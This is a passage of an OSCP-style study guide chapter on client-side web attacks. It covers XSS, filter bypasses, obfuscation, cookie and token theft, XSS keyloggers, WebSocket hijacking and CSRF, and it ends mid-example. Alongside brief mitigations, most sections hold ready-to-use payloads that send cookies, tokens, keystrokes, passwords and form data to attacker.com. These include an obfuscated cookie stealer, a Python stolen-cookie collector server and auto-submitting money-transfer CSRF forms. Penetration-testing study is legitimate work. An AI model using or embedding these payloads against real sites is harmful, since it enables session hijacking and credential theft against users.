OSCP Study Guide: Client-Side Attacks
Chapter 08 — Deep dive into browser-based attack vectors, XSS, CSRF, Clickjacking, and beyond.
Table of Contents
- Cross-Site Scripting (XSS) Deep Dive
- XSS Filtering Bypass Techniques
- JavaScript-Based Attacks
- Browser Vulnerability Exploitation
- Browser Extension Vulnerabilities
- HTML5 Security Issues
- WebSocket Attacks
- SVG-Based Attacks
- Data URI Attacks
- JavaScript Obfuscation for XSS
- Cookie Theft via XSS
- Session Hijacking via XSS
- Keylogging via XSS
- CSRF (Cross-Site Request Forgery)
- Clickjacking and UI Redressing
- DNS Rebinding Attacks
- Web Cache Poisoning
- Prototype Pollution
- DOM Clobbering
- Tools Overview
1. Cross-Site Scripting (XSS) Deep Dive
1.1 What is XSS?
- XSS = Cross-Site Scripting (not “Cross-Site”)
- Attacker injects malicious scripts into trusted websites
- Scripts execute in the victim’s browser context
- The browser cannot distinguish between trusted and injected scripts
1.2 XSS Types Overview
| Type | Storage | Persistence | Trigger | Risk Level |
|---|---|---|---|---|
| Reflected | URL/Request | Non-persistent | Victim clicks link | Medium |
| Stored | Database | Persistent | Victim visits page | High |
| DOM-based | Client-side JS | Non-persistent | Victim visits page | Medium-High |
| Mutation XSS | DOM mutation | Varies | Browser parses HTML | Medium |
1.3 Reflected XSS
Technical Explanation:
- Malicious script is embedded in the HTTP request
- Server reflects the input back in the HTTP response
- Script executes when the victim opens the crafted URL
- Requires social engineering to deliver the payload
Attack Flow:
sequenceDiagram
attacker->>victim: Send malicious URL with payload
victim->>server: GET /search?q=<script>alert(1)</script>
server->>victim: HTML response containing <script>alert(1)</script>
victim->>victim: Browser executes injected script
victim->>attacker: Script exfiltrates data to attacker
Example Payloads:
<!-- Basic reflected XSS -->
<script>alert('XSS')</script>
<!-- Via URL parameter -->
http://target.com/search?q=<script>document.location='http://attacker.com/?c='+document.cookie</script>
<!-- Image tag variant -->
<img src=x onerror=alert('XSS')>
<!-- SVG variant -->
<svg onload=alert('XSS')>
<!-- iframe variant -->
<iframe src="javascript:alert('XSS')"></iframe>
Detection and Exploitation:
- Test every user input field
- Test URL parameters, headers, cookies
- Use Burp Suite Repeater to modify reflected parameters
- Check if input appears in response without encoding
Mitigation Strategies:
- Context-aware output encoding
- Content Security Policy (CSP) headers
- Input validation (whitelist approach)
- HttpOnly flag on cookies
1.4 Stored XSS
Technical Explanation:
- Malicious script is permanently stored on the target server
- Stored in database, comment field, profile, etc.
- Every visitor who views the stored content executes the script
- No social engineering needed per victim — one injection, many victims
Attack Flow:
sequenceDiagram
attacker->>server: POST comment=<script>steal()</script>
server->>db: Store malicious comment
victim->>server: GET /post/123
server->>victim: HTML with stored <script>steal()</script>
victim->>victim: Browser executes injected script
victim->>attacker: Data exfiltrated automatically
Example Payloads:
<!-- Stored in comment field -->
<script>
new Image().src = 'http://attacker.com/log?cookie=' + document.cookie;
</script>
<!-- Stored in profile bio -->
<img src=x onerror="fetch('http://attacker.com/steal?d='+btoa(document.cookie))">
<!-- Stored in forum post -->
<svg/onload=fetch('http://attacker.com',{method:'POST',body:document.cookie})>
Detection and Exploitation:
- Look for user-generated content areas
- Comment sections, forums, profiles, wikis
- Submit test payloads and revisit the page
- Check if payload persists across sessions
Mitigation Strategies:
- Server-side output encoding on all user content
- Strict CSP with nonce or hash directives
- Sanitize HTML input with allowlists
- Rate limiting on user submissions
1.5 DOM-based XSS
Technical Explanation:
- Vulnerability exists entirely in client-side JavaScript
- Server response is never modified
- The DOM itself becomes the attack vector
- Sink functions (innerHTML, document.write, eval) process tainted data
Common Sink Functions:
| Sink | Risk | Example |
|---|---|---|
element.innerHTML |
High | div.innerHTML = location.hash |
document.write() |
High | document.write(queryString) |
eval() |
Critical | eval(userInput) |
setTimeout() / setInterval() |
High | setTimeout(userInput, 0) |
element.outerHTML |
High | el.outerHTML = data |
window.location |
Medium | location = userInput |
jQuery.html() |
High | $('#id').html(data) |
Attack Flow:
graph LR
A[Victim visits URL] --> B[JS reads URL/hash/search]
B --> C[JS writes data to DOM unsafely]
C --> D[Malicious script executes]
D --> E[Data exfiltrated]
Example Vulnerable Code:
// Vulnerable — reads from URL hash, writes to innerHTML
const hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = hash;
// Exploit URL:
// http://target.com/page#<img src=x onerror=alert('DOM XSS')>
Example Payloads:
<!-- Via hash fragment -->
#<img src=x onerror=alert('DOM XSS')>
<!-- Via query string -->
?q=<svg onload=alert('DOM XSS')>
<!-- Via URL path -->
/path/<script>alert('DOM XSS')</script>
Detection and Exploitation:
- Audit client-side JavaScript for sink functions
- Check if data sources (URL, hash, search) flow to sinks
- Use DOMPurify or similar to identify unsafe patterns
- Burp Suite’s DOM XSS scanner helps detect these
Mitigation Strategies:
- Use safe DOM APIs (textContent, appendChild)
- Sanitize all data before inserting into DOM
- Implement CSP with strict-dynamic
- Use frameworks that auto-escape (React, Angular)
1.6 Mutation XSS
Technical Explanation:
- Browser’s HTML parser mutates the injected payload
- The mutation creates a new XSS vector not present in original input
- Different browsers parse HTML differently — exploit parser quirks
- Rare but powerful — exploits browser-specific behavior
Example Scenario:
<!-- Input sent to server -->
<details open ontoggle=alert(1)>
<!-- Browser may mutate to -->
<details open ontoggle="alert(1)">
<!-- Which triggers when details toggled -->
Detection and Exploitation:
- Test payloads across multiple browsers
- Compare server response vs. rendered DOM
- Use browser DevTools to inspect DOM mutations
- Look for attribute normalization differences
Mitigation Strategies:
- Use modern browsers with updated parsers
- Implement strict output encoding
- CSP as defense-in-depth
2. XSS Filtering Bypass Techniques
2.1 Why Filters Fail
- Filters are often regex-based and incomplete
- HTML/JS have many equivalent representations
- Browser parsers are more permissive than filters
- Filters may encode but not break the attack vector
2.2 Bypass Categories
| Category | Technique | Example |
|---|---|---|
| Case variation | Mixed case tags | <ScRiPt>alert(1)</sCrIpT> |
| Encoding | HTML entities | <script>alert(1)</script> |
| Encoding | URL encoding | %3Cscript%3Ealert(1)%3C/script%3E |
| Encoding | Double URL encoding | %253Cscript%253E |
| Encoding | Unicode encoding | \u003cscript\u003e |
| Encoding | Hex encoding | \x3cscript\x3e |
| Encoding | Base64 encoding | data:text/html;base64,PHNjcmlwdD4= |
| No quotes | Unquoted attributes | <img src=x onerror=alert(1)> |
| No closing | Missing closing tags | <script>alert(1) |
| Whitespace | Null bytes | <scr%00ipt>alert(1)</script> |
| Whitespace | Tab/newline | <img src=x onerror=\nalert(1)> |
| Whitespace | Comments in tags | <img src=x onerror<!--comment-->=alert(1)> |
| Alternative tags | SVG | <svg onload=alert(1)> |
| Alternative tags | iframe | <iframe src=javascript:alert(1)> |
| Alternative tags | body | <body onload=alert(1)> |
| Alternative tags | marquee | <marquee onstart=alert(1)> |
| Alternative tags | details | <details open ontoggle=alert(1)> |
| Alternative tags | video/audio | <video><source onerror=alert(1)> |
| Alternative tags | math | <math><a href=javascript:alert(1)>click</a> |
| Protocol | javascript: | <a href=javascript:alert(1)>click</a> |
| Protocol | data: | <a href=data:text/html,<script>alert(1)</script>>x</a> |
| Protocol | vbscript: | <a href=vbscript:msgbox(1)>click</a> |
| Event handlers | onerror | <img src=x onerror=alert(1)> |
| Event handlers | onload | <body onload=alert(1)> |
| Event handlers | onfocus | <input onfocus=alert(1) autofocus> |
| Event handlers | onmouseover | <div onmouseover=alert(1)>hover</div> |
| Event handlers | onscroll | <div style=height:100px;onscroll=alert(1)><br><br>...</div> |
| Event handlers | oninput | <input oninput=alert(1)> |
| Event handlers | onanimationend | <span style=animation:name:x onanimationend=alert(1)> |
| Event handlers | onpointerover | <div onpointerover=alert(1)>hover</div> |
| Event handlers | onbeforetoggle | <details open ontoggle=alert(1)> |
| Polyglot | Multi-context | jaVasCript:/*-/*\/`/’/*“/**/oNcliCk=alert(1)` |
| Breaking out | Quote breaking | "><script>alert(1)</script> |
| Breaking out | Attribute breaking | autofocus onfocus=alert(1) x=" |
2.3 Encoding Bypass Deep Dive
HTML Entity Encoding:
<!-- Named entities -->
<script>alert(1)</script>
<!-- Decimal entities -->
<script>alert(1)</script>
<!-- Hex entities -->
<script>alert(1)</script>
<!-- Mixed encoding -->
<script>alert(1)</script>
URL Encoding:
%3Cscript%3Ealert(1)%3C/script%3E
%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E
JavaScript String Encoding:
// Unicode escape
\u0061lert(1) // = alert(1)
// Hex escape
\x61lert(1) // = alert(1)
// Template literals
`aler` + `t(1)`
// String.fromCharCode
String.fromCharCode(97,108,101,114,116,40,49,41)
2.4 Polyglot XSS Payloads
A polyglot works in multiple contexts simultaneously:
<!-- Works as: attribute, text, script, comment -->
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//
`;alert(String.fromCharCode(88,83,83))//`;alert(String.fromCharCode(88,83,83))//
--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<!-- The ultimate polyglot -->
jaVasCript:/*-/*\`/*\`/*'/*"/**/oNcliCk=alert(1)//<svg/onload=alert(1)>
2.5 Filter Evasion Checklist
- Try case variations on all tags
- Try all encoding types
- Try alternative event handlers
- Try alternative HTML tags
- Try breaking out of context
- Try polyglot payloads
- Try whitespace injection
- Try null byte injection
- Try double encoding
- Try charset manipulation
3. JavaScript-Based Attacks
3.1 JavaScript Injection Vectors
| Vector | Description | Example |
|---|---|---|
| URL parameter | JS reads URL and evaluates | ?cmd=<script>...</script> |
| Hash fragment | JS reads hash and executes | #<img onerror=...> |
| localStorage | Stored malicious JS | localStorage.setItem('x', '<script>...') |
| sessionStorage | Session-stored payload | Similar to localStorage |
| Cookie | JS reads malicious cookie | document.cookie manipulation |
| POST data | Form data reflected in JS | Form submission with payload |
| HTTP header | Custom header reflected | X-Custom: <script>... |
| Referrer | Referer header used in JS | document.referrer injection |
3.2 JavaScript Gadget Chains
Prototype Pollution as JS Attack:
// Pollute Object.prototype
JSON.parse('{"__proto__":{"admin":true}}');
// Now all objects have admin=true
({}).admin; // true
eval() Chain:
// If eval() is reachable with user control
eval(userInput);
// Payload
alert(document.cookie)
// Chained
alert(document.cookie);fetch('http://attacker.com?c='+document.cookie)
3.3 JavaScript Sandbox Escape
<iframe sandbox>restrictions can sometimes be bypassed- Look for
allow-scriptswithout proper isolation - Exploit form submission to break sandbox
<!-- Sandbox with scripts allowed -->
<iframe sandbox="allow-scripts" srcdoc="<script>alert(1)</script>">
<!-- Escape via form -->
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<form action='http://attacker.com' method='POST'>
<input name='data' value='" + document.cookie + "'>
<input type='submit'>
</form>
">
4. Browser Vulnerability Exploitation
4.1 Common Browser Vulnerabilities
| Vulnerability Type | Description | Impact |
|---|---|---|
| Use-After-Free | Memory freed but still referenced | RCE, XSS |
| Buffer Overflow | Write beyond buffer boundary | RCE |
| Type Confusion | Wrong type assumed for object | RCE |
| Integer Overflow | Arithmetic overflow in JS engine | RCE |
| Same-Origin Policy Bypass | SOP enforcement failure | Data theft |
| CSP Bypass | CSP header circumvention | XSS |
| XSS Auditor Bypass | Deprecated but still relevant | XSS |
4.2 Exploiting Browser Bugs
General Approach:
- Identify the vulnerable browser version
- Find known CVEs for that version
- Obtain or develop an exploit
- Deliver exploit via XSS or social engineering
- Achieve code execution in browser context
Tools for Browser Exploitation:
- ExploitDB — Search for browser-specific exploits
- Metasploit — Browser exploit modules
- Custom exploits — For zero-day scenarios
4.3 Same-Origin Policy (SOP)
What SOP Protects:
- Prevents cross-origin DOM access
- Prevents cross-origin AJAX requests (without CORS)
- Prevents cross-origin cookie access
SOP Bypass Techniques:
| Technique | How It Works |
|---|---|
| JSONP abuse | Abuses legitimate JSONP endpoints |
| CORS misconfiguration | Exploits permissive CORS headers |
| PostMessage abuse | Exploits wildcard origin listeners |
| Hash-based attacks | Exploits hash fragment sharing |
| Link rel preconnect | Information leakage via timing |
postMessage Bypass Example:
// Vulnerable receiver — accepts any origin
window.addEventListener('message', function(event) {
// No origin check!
eval(event.data);
});
// Attacker sends malicious message
window.parent.postMessage('alert(document.cookie)', '*');
5. Browser Extension Vulnerabilities
5.1 Why Extensions Are Risky
- Extensions run with elevated privileges
- Can access any page the user visits
- Can bypass SOP restrictions
- Often have content security policy exemptions
5.2 Common Extension Vulnerabilities
| Vulnerability | Description | Example |
|---|---|---|
| XSS in extension | Extension page vulnerable to XSS | Reflected XSS in options page |
| Open redirect | Extension redirects to any URL | chrome.extension.getURL() abuse |
| CSP bypass | Extension bypasses page CSP | Inject scripts into any page |
| Insecure storage | Sensitive data stored insecurely | chrome.storage.local without encryption |
| postMessage abuse | Extension communicates unsafely | Wildcard origin acceptance |
| Permission abuse | Extension uses excessive permissions | "<all_urls>" with XSS |
5.3 Attacking Extensions via XSS
// If extension has content script injection capability
// and page has XSS, attacker can abuse extension
// Example: Extension injects scripts into all pages
// XSS on target page can communicate with extension
chrome.runtime.sendMessage(extensionId, {
action: 'execute',
code: 'fetch("http://attacker.com?c="+document.cookie)'
});
5.4 Extension Manifest Weaknesses
{
"content_security_policy": "script-src 'unsafe-eval' https://*",
"permissions": ["<all_urls>", "cookies", "storage"],
"web_accessible_resources": ["inject.js"]
}
Red Flags:
unsafe-evalin CSP<all_urls>permission- Web-accessible resources without validation
- Missing origin checks in message handlers
6. HTML5 Security Issues
6.1 HTML5 New Attack Vectors
| Feature | Attack Vector | Risk |
|---|---|---|
| WebSockets | Cross-site WebSocket hijacking | Data theft |
| Web Workers | Worker script injection | Code execution |
| Canvas | Canvas fingerprinting | Privacy breach |
| Geolocation | Location data theft | Privacy breach |
| Web Storage | localStorage/sessionStorage XSS | Data theft |
| IndexedDB | Stored XSS via database | Persistent attack |
| Drag & Drop | Data URI injection | XSS |
| File API | Malicious file handling | XSS, RCE |
| WebRTC | IP address leakage | Privacy breach |
| Notification API | Phishing via notifications | Social engineering |
6.2 Canvas-Based Attacks
Canvas Fingerprinting:
// Generate unique fingerprint from canvas rendering
const canvas = document.createElement('canvas');
canvas.width = 200;
canvas.height = 50;
const ctx = canvas.getContext('2d');
ctx.fillText('Fingerprint Test', 0, 50);
const fingerprint = canvas.toDataURL();
// Send fingerprint to attacker for tracking
Canvas Data Exfiltration:
// If canvas can read cross-origin content (CORS misconfig)
const img = new Image();
img.crossOrigin = 'anonymous';
img.src = 'https://target.com/secret-image.png';
img.onload = () => {
const canvas = document.createElement('canvas');
canvas.width = img.width;
canvas.height = img.height;
const ctx = canvas.getContext('2d');
ctx.drawImage(img, 0, 0);
// Extract pixel data
const data = ctx.getImageData(0, 0, canvas.width, canvas.height);
};
6.3 Web Storage Attacks
// localStorage XSS — stored payload executes on page load
localStorage.setItem('username', '<img src=x onerror=alert(1)>');
// If page reads localStorage and writes to DOM unsafely
document.getElementById('user').innerHTML = localStorage.getItem('username');
// sessionStorage — same concept, session-scoped
sessionStorage.setItem('token', '<script>steal()</script>');
6.4 WebRTC IP Leakage
// Leak internal IP address via WebRTC
const pc = new RTCPeerConnection({
iceServers: []
});
pc.createDataChannel('');
pc.createOffer().then(offer => pc.setLocalDescription(offer));
pc.onicecandidate = (ice) => {
if (ice && ice.candidate && ice.candidate.candidate) {
// Extract IP from candidate
const ip = ice.candidate.candidate.split(' ')[4];
console.log('Internal IP:', ip);
}
};
7. WebSocket Attacks
7.1 WebSocket Basics
- Full-duplex communication over single TCP connection
- Protocol:
ws://(unencrypted) orwss://(encrypted) - Handshake via HTTP upgrade mechanism
- No built-in Same-Origin Policy for the handshake
7.2 Cross-Site WebSocket Hijacking (CSWSH)
Technical Explanation:
- WebSocket handshake is an HTTP request
- Cookies are sent with the handshake
- If auth relies only on cookies, attacker can hijack
- Attacker establishes WebSocket in victim’s browser context
Attack Flow:
sequenceDiagram
attacker->>attacker: Create malicious page
attacker->>victim: Send link to malicious page
victim->>victim: Open malicious page
victim->>target: WebSocket handshake (with victim's cookies)
target->>victim: WebSocket connection established
victim->>attacker: Attacker reads/writes WebSocket messages
Example Attack Code:
// Attacker's page
const ws = new WebSocket('wss://target.com/api/notifications');
ws.onopen = () => {
console.log('WebSocket hijacked!');
// Send messages as the victim
ws.send(JSON.stringify({action: 'read_messages'}));
};
ws.onmessage = (event) => {
// Read victim's data
console.log('Victim data:', event.data);
// Exfiltrate to attacker
fetch('http://attacker.com/steal?data=' + encodeURIComponent(event.data));
};
Mitigation Strategies:
- Use CSRF tokens in WebSocket handshake
- Validate Origin header on server
- Use additional authentication beyond cookies
- Implement double-submit cookie pattern
7.3 WebSocket Message Injection
// If WebSocket messages contain unsanitized user input
// and are rendered in the DOM
// Attacker sends via hijacked connection
ws.send(JSON.stringify({
type: 'chat_message',
content: '<img src=x onerror=fetch("http://attacker.com?c="+document.cookie)>'
}));
8. SVG-Based Attacks
8.1 Why SVG Is Dangerous
- SVG is XML-based and can contain scripts
- SVG can be embedded inline, via img, or as data URI
- Many applications filter HTML but not SVG
- SVG has its own event handlers and scripting capabilities
8.2 SVG XSS Vectors
| Vector | Payload | Context |
|---|---|---|
| Inline SVG | <svg onload=alert(1)> |
Direct HTML injection |
| SVG in img | <img src=1.svg> |
External SVG file |
| SVG data URI | <img src="data:image/svg+xml,<svg onload=alert(1)>"> |
Data URI |
| SVG foreignObject | <svg><foreignObject><div onload=alert(1)></foreignObject></svg> |
HTML inside SVG |
| SVG script | <svg><script>alert(1)</script></svg> |
Script tag in SVG |
| SVG animate | <svg><animate attributeName=href to=javascript:alert(1)></animate></svg> |
Animation attack |
| SVG set | <svg><set attributeName=onclick to=alert(1)></set></svg> |
Attribute manipulation |
8.3 SVG Payload Examples
<!-- Basic SVG XSS -->
<svg onload="alert('XSS')">
<!-- SVG with foreignObject (full HTML inside SVG) -->
<svg width="100%" height="100%">
<foreignObject width="100%" height="100%">
<div xmlns="http://www.w3.org/1999/xhtml">
<iframe src=javascript:alert('XSS')></iframe>
</div>
</foreignObject>
</svg>
<!-- SVG with script tag -->
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
alert('XSS via SVG script');
</script>
</svg>
<!-- SVG data URI (URL encoded) -->
data:image/svg+xml,%3Csvg%20onload%3Dalert%281%29%3E
<!-- SVG with embedded styles and animation -->
<svg>
<style>
@keyframes x{}
</style>
<rect style="animation:name:x" onanimationend="alert(1)" />
</svg>
8.4 SVG Upload Vulnerabilities
- Many file upload filters block
.htmlbut allow.svg - SVG uploaded as avatar, logo, or document
- When viewed, SVG executes embedded scripts
Detection:
- Check if SVG uploads are sanitized
- Test uploading SVG with embedded scripts
- Check Content-Type headers on served SVG
9. Data URI Attacks
9.1 Data URI Scheme
data:[<mediatype>][;base64],<data>
Supported Media Types:
| Media Type | Use Case | XSS Risk |
|---|---|---|
| text/html | HTML content | Critical |
| text/javascript | JavaScript | Critical |
| image/svg+xml | SVG images | High |
| text/plain | Plain text | Low |
| application/json | JSON data | Low |
9.2 Data URI XSS Vectors
<!-- HTML via data URI -->
<a href="data:text/html,<script>alert(1)</script>">Click</a>
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
<!-- SVG via data URI -->
<img src="">
<!-- Decodes to: <svg onload=alert(1)> -->
9.3 Data URI in Real Attacks
// Redirect via data URI
window.location = 'data:text/html,<body onload="fetch(\'http://attacker.com?c=\'+document.cookie)">';
// Open in new window
window.open('data:text/html,<script>document.body.innerHTML=\'<h1>Hacked</h1>\'</script>');
// Embed via object tag
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
9.4 Browser Restrictions on Data URIs
| Browser | data:text/html | data:text/javascript | Restrictions |
|---|---|---|---|
| Chrome | Limited | Blocked | Origin-opaque, no script execution from some contexts |
| Firefox | Allowed | Allowed | More permissive |
| Safari | Limited | Blocked | Strict on data URI scripts |
| Edge | Limited | Blocked | Similar to Chrome |
10. JavaScript Obfuscation for XSS
10.1 Why Obfuscate?
- Bypass content filters and WAFs
- Hide malicious intent from review
- Evade signature-based detection
- Make analysis harder for defenders
10.2 Obfuscation Techniques
| Technique | Example | Result |
|---|---|---|
| String concatenation | 'al'+'ert'+'(1)' |
alert(1) |
| String.fromCharCode | String.fromCharCode(97,108,101,114,116) |
alert |
| Unicode escapes | \u0061\u006c\u0065\u0072\u0074 |
alert |
| Hex escapes | \x61\x6c\x65\x72\x74 |
alert |
| Array join | ['a','l','e','r','t'].join('') |
alert |
| Template literals | `al` + `ert` |
alert |
| Bitwise operations | (1<<4)+1 |
17 |
| Math operations | Math.sqrt(16) |
4 |
| Logical operators | `0 | |
| Negation | ~~3 |
3 |
| Type coercion | +'1' |
1 |
| atob/btoa | atob('YWxlcnQx') |
alert1 |
10.3 Obfuscation Examples
// Level 1: Simple concatenation
'ale'+'rt'(1)
// Level 2: fromCharCode
String.fromCharCode(97,108,101,114,116,40,49,41)
// Level 3: Nested obfuscation
eval(String.fromCharCode(97,108,101,114,116,40,49,41))
// Level 4: Array-based
['a','l','e','r','t'].join('')+'(1)'
// Level 5: Template + fromCharCode
`${String.fromCharCode(97,108,101,114,116)}(1)`
// Level 6: Bitwise + string
(String.fromCharCode(0x61|0x00)+String.fromCharCode(0x6c|0x00))+'ert(1)'
// Level 7: Full obfuscated cookie stealer
eval(atob('bmV3IEltYWdlKCkuc3JjPSdodHRwOi8vYXR0YWNrZXIuY29tP2MnK2RvY3VtZW50LmNvb2tpZQ=='))
// Decodes to: new Image().src='http://attacker.com?c'+document.cookie
10.4 Obfuscation Tools
| Tool | Description |
|---|---|
| JavaScript Obfuscator | Online tool with multiple techniques |
| obfuscator-io | Popular JS obfuscation library |
| js-obfuscator | Node.js based obfuscator |
| Custom scripts | Write your own for specific filters |
11. Cookie Theft via XSS
11.1 Cookie Structure
Set-Cookie: sessionid=abc123; Path=/; Domain=.example.com; Secure; HttpOnly; SameSite=Lax
| Attribute | Purpose | Security Impact |
|---|---|---|
| Name | Cookie identifier | N/A |
| Value | Stored data | Session tokens, prefs |
| Domain | Scope domain | Wider domain = more exposure |
| Path | Scope path | Wider path = more exposure |
| Secure | HTTPS only | Prevents MITM theft |
| HttpOnly | No JS access | Prevents XSS cookie theft |
| SameSite | CSRF protection | Lax/Strict prevents cross-site |
| Expires/Max-Age | Lifetime | Longer = more exposure window |
11.2 Cookie Theft Payloads
// Basic cookie exfiltration via image
document.write('<img src="http://attacker.com/steal?cookie='+document.cookie+'">');
// Via new Image object
new Image().src = 'http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
// Via fetch API
fetch('http://attacker.com/steal', {
method: 'POST',
body: document.cookie,
mode: 'no-cors'
});
// Via XMLHttpRequest
const xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker.com/steal', true);
xhr.send(document.cookie);
// Via navigator.sendBeacon (survives page unload)
navigator.sendBeacon('http://attacker.com/steal', document.cookie);
// Base64 encoded for stealth
new Image().src = 'http://attacker.com/steal?c=' + btoa(document.cookie);
11.3 Cookie Collector Server
# Simple Python cookie collector
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import json, os
class CookieHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urlparse(self.path)
params = parse_qs(parsed.query)
cookie = params.get('cookie', [''])[0]
# Save to file
with open('stolen_cookies.txt', 'a') as f:
f.write(f"{self.client_address[0]}: {cookie}\n")
# Return 1x1 transparent pixel
self.send_response(200)
self.send_header('Content-Type', 'image/png')
self.end_headers()
self.wfile.write(b'\x89PNG\r\n\x1a\n')
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
cookie = self.rfile.read(length).decode()
with open('stolen_cookies.txt', 'a') as f:
f.write(f"{self.client_address[0]}: {cookie}\n")
self.send_response(200)
self.end_headers()
HTTPServer(('0.0.0.0', 80), CookieHandler).serve_forever()
11.4 When Cookie Theft Fails
- HttpOnly flag set — JavaScript cannot access
document.cookie - Secure flag set — Cookie only sent over HTTPS
- CSP with strict directives — Blocks external requests
- SameSite=Strict — Limits cross-site contexts
Workarounds when HttpOnly is set:
- Perform actions on behalf of the user (not cookie theft)
- Use CSRF for state-changing operations
- Keylogging to capture credentials during login
- Session fixation attacks
12. Session Hijacking via XSS
12.1 Session Hijacking Methods
| Method | Description | Difficulty |
|---|---|---|
| Cookie theft | Steal session cookie via XSS | Easy (if no HttpOnly) |
| Session prediction | Guess valid session ID | Hard (needs weak RNG) |
| Session fixation | Force victim to use known ID | Medium |
| XSS + CSRF combo | Use XSS to trigger CSRF | Medium |
| Token theft | Steal auth tokens from JS vars | Easy |
12.2 Session Hijacking via XSS
// Step 1: Steal the session cookie
const sessionCookie = document.cookie.match(/sessionid=([^;]+)/);
// Step 2: Send to attacker
if (sessionCookie) {
new Image().src = 'http://attacker.com/hijack?session=' + sessionCookie[1];
}
// Step 3: Attacker uses the cookie
// curl -b "sessionid=stolen_value" http://target.com/admin
12.3 Token Theft from JavaScript Variables
// Many SPAs store tokens in JS variables
// Common variable names to look for:
// - token, authToken, accessToken, jwt, bearer
// - __INITIAL_STATE__, __NEXT_DATA__
// Search for tokens in page source
const scripts = document.querySelectorAll('script');
scripts.forEach(script => {
const content = script.textContent;
const tokenMatch = content.match(/(?:token|auth|jwt|bearer)[:\s=]+['"]([^'"]+)['"]/i);
if (tokenMatch) {
new Image().src = 'http://attacker.com/token?t=' + tokenMatch[1];
}
});
// Check common global variables
const targets = ['token', 'authToken', 'accessToken', 'jwt', 'bearer', 'API_TOKEN'];
targets.forEach(name => {
if (window[name]) {
new Image().src = 'http://attacker.com/token?name=' + name + '&val=' + window[name];
}
});
12.4 Session Hijacking Mitigation
- Set HttpOnly flag on all session cookies
- Set Secure flag to enforce HTTPS
- Use short session timeouts
- Implement session binding (IP, User-Agent)
- Use CSRF tokens for state-changing operations
- Regenerate session ID after authentication
13. Keylogging via XSS
13.1 Why Keylog?
- HttpOnly cookies prevent direct cookie theft
- Keylogging captures credentials at login time
- Captures all typed input, not just passwords
- Works even with HttpOnly cookies
13.2 Keylogging Payloads
// Basic keylogger
document.onkeypress = function(e) {
const key = e.key || String.fromCharCode(e.keyCode);
new Image().src = 'http://attacker.com/log?k=' + encodeURIComponent(key);
};
// Advanced keylogger with context
let loggedKeys = '';
document.addEventListener('keydown', function(e) {
// Capture active element context
const active = document.activeElement;
const context = active ? active.tagName + ':' + (active.name || active.id || '') : 'unknown';
const key = e.key || String.fromCharCode(e.keyCode);
loggedKeys += key;
// Batch send every 50 keys
if (loggedKeys.length >= 50) {
navigator.sendBeacon('http://attacker.com/log',
JSON.stringify({keys: loggedKeys, context: context, url: location.href}));
loggedKeys = '';
}
});
// Focus-aware keylogger (only log in input fields)
document.addEventListener('keydown', function(e) {
const tag = document.activeElement.tagName.toLowerCase();
if (tag === 'input' || tag === 'textarea') {
const name = document.activeElement.name || document.activeElement.id || '';
const key = e.key;
// Detect password fields
if (document.activeElement.type === 'password') {
navigator.sendBeacon('http://attacker.com/password',
JSON.stringify({
field: name,
key: key,
url: location.href,
time: new Date().toISOString()
}));
}
}
});
13.3 Keylogging via DOM Mutation
// Monitor form submissions
document.addEventListener('submit', function(e) {
const form = e.target;
const data = new FormData(form);
const entries = {};
for (let [key, value] of data.entries()) {
entries[key] = value;
}
navigator.sendBeacon('http://attacker.com/form', JSON.stringify(entries));
});
// Monitor input changes
document.addEventListener('input', function(e) {
if (e.target.type === 'password' || e.target.name === 'password') {
navigator.sendBeacon('http://attacker.com/pass', e.target.value);
}
});
13.4 Keylogging Mitigation
- Use CSP to prevent inline scripts
- Implement Content-Security-Policy with strict-dynamic
- Use HttpOnly + Secure cookies
- Implement MFA (multi-factor authentication)
- Monitor for unusual login patterns
- Use password managers (they auto-fill, bypassing keyloggers)
14. CSRF (Cross-Site Request Forgery)
14.1 What is CSRF?
- Attacker forces victim’s browser to perform unwanted actions
- Exploits the trust a site has in the user’s browser
- Victim is authenticated when the attack executes
- The site cannot distinguish legitimate from forged requests
14.2 CSRF Attack Flow
sequenceDiagram
participant A as Attacker
participant V as Victim (Browser)
participant S as Target Server
Note over V: Victim is authenticated<br>on target.com
A->>A: Create malicious page<br>with hidden form
A->>V: Victim visits attacker's page
V->>S: Browser auto-sends cookies<br>with forged request
S->>S: Server processes request<br>as legitimate
S->>V: Response (ignored by victim)
Note over S: Action performed<br>without victim's consent
14.3 CSRF Attack Types
| Type | Method | Use Case |
|---|---|---|
| GET-based | URL request | Change settings, likes, follows |
| POST-based | Form submission | Transfer money, change email |
| PUT/DELETE | Custom HTTP methods | REST API manipulation |
| File upload | Multipart form | Upload malicious files |
| XMLHTTPRequest | AJAX request | API endpoint abuse |
14.4 CSRF Payload Examples
GET-based CSRF:
<!-- Simple image tag for GET requests -->
<img src="https://target.com/api/change-email?email=attacker@evil.com">
<!-- Link-based -->
<a href="https://target.com/api/transfer?amount=1000&to=attacker">Click here!</a>
<!-- Auto-redirect -->
<meta http-equiv="refresh" content="0;url=https://target.com/api/change-email?email=attacker@evil.com">
POST-based CSRF (Auto-submitting Form):
<html>
<body>
<form action="https://target.com/api/transfer" method="POST" id="csrf-form">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="to_account" value="attacker_account">
<input type="hidden" name="currency" value="USD">
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
POST-based CSRF (No JavaScript):
<html>
<body onload="document.getElementById('csrf-form').submit()">
<form action="https://target.com/api/transfer" method="POST">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="to_account" value="attacker_account">
</form>
</body>
</html>
File Upload CSRF:
<form action="https://target.com/upload" method="POST" enctype="multipart/form-data">
<input type="file" name="file" id="file-input">
<input type="hidden" name="path" value="/uploads/malicious.php">
<script>
// Programmatically set file (limited browser support)
